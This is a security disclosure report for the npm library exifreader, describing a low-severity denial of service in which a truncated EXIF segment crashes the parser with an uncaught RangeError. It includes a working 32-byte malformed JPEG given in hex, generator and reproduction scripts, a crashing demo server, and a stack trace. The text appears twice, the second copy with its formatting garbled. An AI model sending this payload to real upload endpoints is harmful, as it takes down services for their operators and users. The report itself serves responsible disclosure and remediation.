Package: exifreader
Ecosystem: npm
Repository: https://github.com/mattiasw/ExifReader
Security Page: https://github.com/mattiasw/ExifReader/security
Issue Tracker: https://github.com/mattiasw/ExifReader/issues
Reported Issue Type: Application-level Denial of Service via uncaught exception
Weaknesses: CWE-20, CWE-248, CWE-755
Severity: Low
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1. Executive Summary
A malformed JPEG-like file containing a truncated APP1/EXIF segment can trigger an uncaught
RangeError: Offset is outside the bounds of the DataView in exifreader
during EXIF/TIFF parsing. In applications that parse attacker-controlled images using
ExifReader.load() without defensive exception handling, this behavior can crash the
current request handler or terminate the Node.js process, resulting in application-level denial of service.
2. Affected Component
The vulnerable behavior is in the EXIF/TIFF parsing path after the library accepts a JPEG/APP1/EXIF
structure and proceeds into internal offset-reading logic.
3. Technical Description
The parser accepts a minimal JPEG-like structure containing:
- Valid JPEG SOI bytes
- A valid-looking JFIF segment
- An APP1 marker
- The
Exif\0\0 signature
- A partial TIFF header beginning with
MM
Because the EXIF/TIFF structure is truncated before sufficient offset fields are available,
the library reaches an internal code path that attempts an out-of-bounds DataView.getUint32()
read. Instead of converting this malformed/truncated condition into a controlled parser error,
the exception propagates directly to the caller.
Security impact:
This is not remote code execution and not native memory corruption. However, it is a security-relevant
parser robustness flaw with denial-of-service impact in real applications that ingest untrusted images.
4. Minimal Proof of Concept
4.1 Minimal malformed file (32 bytes)
ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48
00 48 00 00 ff e1 00 16 45 78 69 66 00 00 4d 4d
4.2 Python generator for the PoC file
from pathlib import Path
data = bytes.fromhex(
'ffd8ffe000104a464946000101010048'
'00480000ffe100164578696600004d4d'
)
Path('poc-truncated-exif-32b.jpg').write_bytes(data)
print('wrote', len(data), 'bytes')
4.3 Direct reproduction script
const fs = require('fs');
const ExifReader = require('exifreader');
const buf = fs.readFileSync('poc-truncated-exif-32b.jpg');
ExifReader.load(buf);
4.4 Direct reproduction command
node -e "const fs=require('fs'); const ExifReader=require('exifreader'); ExifReader.load(fs.readFileSync('poc-truncated-exif-32b.jpg'))"
5. Application-Level DoS Demonstration
The following minimal HTTP server demonstrates realistic impact. A single request to the endpoint
causes the process to crash because the exception is not contained.
5.1 Demo server
const http = require('http');
const fs = require('fs');
const ExifReader = require('exifreader');
http.createServer((req, res) => {
const buf = fs.readFileSync('poc-truncated-exif-32b.jpg');
// Intentionally no try/catch to demonstrate impact
const tags = ExifReader.load(buf);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ count: Object.keys(tags).length }));
}).listen(3000, () => console.log('listening on http://127.0.0.1:3000'));
5.2 Run the demo
node app-demo.js
5.3 Query with curl
curl http://127.0.0.1:3000
6. Observed Output
6.1 Reproduction output
RangeError: Offset is outside the bounds of the DataView
at DataView.prototype.getUint32 (<anonymous>)
at Object.xt [as getLongAt] (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:40818)
at Vt (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:44040)
at /home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:47268
at Object.read (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:47294)
at lo (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:105943)
at so (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:101541)
at Module.co (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:101414)
at Server.<anonymous> (/home/kali/Desktop/research/exifreader-research/app-demo.js:9:27)
at Server.emit (node:events:519:28)
Node.js v22.22.0
6.2 Behavior summary
| Condition |
Observed Result |
Calling ExifReader.load() directly on the malformed file |
Uncaught RangeError |
Using the malformed file in a minimal Node.js HTTP server without try/catch |
Server process crashes on request |
| Basic malformed header corruption tests |
Many cases correctly rejected as Invalid image format |
| Targeted truncated EXIF/TIFF structure |
Internal out-of-bounds offset read exception propagates |
7. Root Cause Analysis
The issue appears to occur because the parser treats the JPEG/APP1/EXIF structure as sufficiently valid
to enter the TIFF parsing path, but later attempts to read a 32-bit value from the underlying
DataView without first ensuring that enough bytes remain. The resulting out-of-bounds access
manifests as a JavaScript RangeError.
From the observed stack, the problematic path includes:
DataView.prototype.getUint32
getLongAt
Vt
read
load
8. Security Impact
In many real-world applications, image metadata parsing is performed on user-supplied uploads,
attachments, profile photos, CMS media assets, or background processing jobs. If the application
does not wrap ExifReader.load() in defensive exception handling, a crafted malformed file
can cause:
- Request failure
- Worker crash
- Termination of a Node.js process
- Repeated denial of service against metadata processing endpoints
9. Expected vs Observed Behavior
| Expected |
Observed |
|
Malformed or truncated EXIF/TIFF structures should be rejected gracefully with a controlled parser error.
|
A low-level RangeError propagates to the caller and can crash the application when uncaught.
|
10. Recommendations
Library-side recommendations:
- Validate remaining buffer length before every TIFF/IFD offset read.
- Guard all offset-based
DataView reads with explicit bounds checks.
- Normalize truncated EXIF/TIFF structures into a controlled, library-specific parser error.
- Add regression tests for minimal truncated APP1/EXIF payloads.
- Audit similar offset-reading paths in PNG, WebP, HEIC, AVIF, and TIFF parsing code.
Application-side recommendations:
- Wrap
ExifReader.load() in try/catch when processing untrusted images.
- Use request isolation or worker isolation for metadata extraction.
- Reject obviously malformed files before metadata parsing where practical.
- Apply resource and error handling controls to upload and media-processing endpoints.
11. Suggested Advisory Metadata
| Field |
Value |
| Affected Product |
ExifReader |
| Ecosystem |
npm |
| Package Name |
exifreader |
| Affected Versions |
Reproduced on the tested installed version; maintainers should confirm exact affected range |
| Patched Versions |
None known at time of testing |
| Severity |
Low |
| Vector String |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| Weaknesses |
CWE-20, CWE-248, CWE-755 |
12. Responsible Disclosure Note
This report documents a denial-of-service issue caused by malformed input handling. It does not claim
native memory corruption, arbitrary code execution, or privilege escalation. The impact is limited to
parser failure and application instability when the exception is not safely handled by the integrator.
13. Maintainer-Facing Short Summary
A malformed JPEG containing a truncated APP1/EXIF segment can trigger an uncaught
RangeError ("Offset is outside the bounds of the DataView") in exifreader during
EXIF/TIFF parsing. A minimal 32-byte PoC reproduces the issue. In applications that
parse attacker-controlled images without defensive exception handling, this can cause
application-level denial of service.
Ecosystem: npm
Repository: https://github.com/mattiasw/ExifReader
Security Page: https://github.com/mattiasw/ExifReader/security
Issue Tracker: https://github.com/mattiasw/ExifReader/issues
Reported Issue Type: Application-level Denial of Service via uncaught exception
Weaknesses: CWE-20, CWE-248, CWE-755
Severity: Low
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1. Executive Summary
A malformed JPEG-like file containing a truncated APP1/EXIF segment can trigger an uncaught
RangeError: Offset is outside the bounds of the DataViewinexifreaderduring EXIF/TIFF parsing. In applications that parse attacker-controlled images usingExifReader.load()without defensive exception handling, this behavior can crash the current request handler or terminate the Node.js process, resulting in application-level denial of service.2. Affected Component
The vulnerable behavior is in the EXIF/TIFF parsing path after the library accepts a JPEG/APP1/EXIF structure and proceeds into internal offset-reading logic.
3. Technical Description
The parser accepts a minimal JPEG-like structure containing:
Exif\0\0signatureMMBecause the EXIF/TIFF structure is truncated before sufficient offset fields are available, the library reaches an internal code path that attempts an out-of-bounds
DataView.getUint32()read. Instead of converting this malformed/truncated condition into a controlled parser error, the exception propagates directly to the caller.This is not remote code execution and not native memory corruption. However, it is a security-relevant parser robustness flaw with denial-of-service impact in real applications that ingest untrusted images.
4. Minimal Proof of Concept
4.1 Minimal malformed file (32 bytes)
4.2 Python generator for the PoC file
4.3 Direct reproduction script
const fs = require('fs'); const ExifReader = require('exifreader');const buf = fs.readFileSync('poc-truncated-exif-32b.jpg');
ExifReader.load(buf);
4.4 Direct reproduction command
node -e "const fs=require('fs'); const ExifReader=require('exifreader'); ExifReader.load(fs.readFileSync('poc-truncated-exif-32b.jpg'))"5. Application-Level DoS Demonstration
The following minimal HTTP server demonstrates realistic impact. A single request to the endpoint causes the process to crash because the exception is not contained.
5.1 Demo server
const http = require('http'); const fs = require('fs'); const ExifReader = require('exifreader');http.createServer((req, res) => {
const buf = fs.readFileSync('poc-truncated-exif-32b.jpg');
// Intentionally no try/catch to demonstrate impact
const tags = ExifReader.load(buf);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ count: Object.keys(tags).length }));
}).listen(3000, () => console.log('listening on http://127.0.0.1:3000'));
5.2 Run the demo
5.3 Query with curl
6. Observed Output
6.1 Reproduction output
RangeError: Offset is outside the bounds of the DataView at DataView.prototype.getUint32 (<anonymous>) at Object.xt [as getLongAt] (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:40818) at Vt (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:44040) at /home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:47268 at Object.read (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:47294) at lo (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:105943) at so (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:101541) at Module.co (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:101414) at Server.<anonymous> (/home/kali/Desktop/research/exifreader-research/app-demo.js:9:27) at Server.emit (node:events:519:28)Node.js v22.22.0
6.2 Behavior summary
ExifReader.load()directly on the malformed fileRangeErrortry/catchInvalid image format7. Root Cause Analysis
The issue appears to occur because the parser treats the JPEG/APP1/EXIF structure as sufficiently valid to enter the TIFF parsing path, but later attempts to read a 32-bit value from the underlying
DataViewwithout first ensuring that enough bytes remain. The resulting out-of-bounds access manifests as a JavaScriptRangeError.From the observed stack, the problematic path includes:
8. Security Impact
In many real-world applications, image metadata parsing is performed on user-supplied uploads, attachments, profile photos, CMS media assets, or background processing jobs. If the application does not wrap
ExifReader.load()in defensive exception handling, a crafted malformed file can cause:9. Expected vs Observed Behavior
RangeErrorpropagates to the caller and can crash the application when uncaught.10. Recommendations
DataViewreads with explicit bounds checks.ExifReader.load()intry/catchwhen processing untrusted images.11. Suggested Advisory Metadata
12. Responsible Disclosure Note
This report documents a denial-of-service issue caused by malformed input handling. It does not claim native memory corruption, arbitrary code execution, or privilege escalation. The impact is limited to parser failure and application instability when the exception is not safely handled by the integrator.
13. Maintainer-Facing Short Summary
A malformed JPEG containing a truncated APP1/EXIF segment can trigger an uncaught RangeError ("Offset is outside the bounds of the DataView") in exifreader during EXIF/TIFF parsing. A minimal 32-byte PoC reproduces the issue. In applications that parse attacker-controlled images without defensive exception handling, this can cause application-level denial of service.